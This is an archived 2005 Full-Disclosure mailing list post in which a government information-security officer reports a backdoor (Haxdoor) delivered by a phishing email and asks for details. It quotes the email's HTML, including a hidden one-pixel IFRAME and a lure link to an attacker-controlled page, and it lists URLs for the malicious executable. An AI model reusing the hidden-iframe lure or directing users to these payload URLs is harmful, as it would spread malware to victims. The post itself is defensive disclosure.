full-disclosure - Virus on web site

lists.openwall.net		lists / announce john-users owl-users popa3d-users / xvendor oss-security / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4
Open Source and information security mailing list archives

Order Openwall GNU/*/Linux 2.0 on a CD with delivery worldwide

[<prev] [next>] [thread-next>] [month] [year] [list]

Date: Tue Aug  2 05:49:44 2005
From: peterharvey at emergency.qld.gov.au (Peter B. Harvey (Information Security))
Subject: Virus on web site

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Hi all,

This virus at the time of my posting this is only detedted by
Kasperski and I cannot find any detail on the virus. Came in the
email as given below.

URL for the virus http://www.alias-search.com/images/msits.exe
Also found was the following url also the same virus
http://www.alias-search.com/images/msitsa.exe

Kasperski detects it as  msits.exe - infected by
Backdoor.Win32.Haxdoor.dw

Anyone with info on this virus?

Peter

Email Body Text
______________________________________________________________________
___________________________________

<IFRAME width="1" height="1"
SRC="http://www.alias-search.com/include/version_1567/select.html"
frameBorder="1"

scrolling="no"></IFRAME>

<BR>
Hi!<BR>
At me a problem with sending.<BR>
I can not remove a problem...<BR>
See screen. Make preliminary search on this word.<BR>
Thanks!<BR>

<BR><BR>
<A
href="http://www.alias-search.com/include/version_1567/select.html">Sc
reen</A>
<BR>

______________________________________________________________________
________________________

-----BEGIN PGP SIGNATURE-----
Version: PGP 8.1

iQA/AwUBQu77bP2VmmbibZoUEQLaxACfW9oC10lGWQ738RaTEKok6ncr7TYAoNt9
gFvM0q5/rrtgJgXEpU3b4KBq
=Fh/3
-----END PGP SIGNATURE-----

This correspondence is for the named persons only.
It may contain confidential or privileged information or both.
No confidentiality or privilege is waived or lost by any mis transmission.
If you receive this correspondence in error please delete it from your system immediately and notify the sender.
You must not disclose, copy or relay on any part of this correspondence, if you are not the intended recipient.
Any opinions expressed in this message are those of the individual sender except where the sender expressly,
and with the authority, states them to be the opinions of the Department of Emergency Services, Queensland.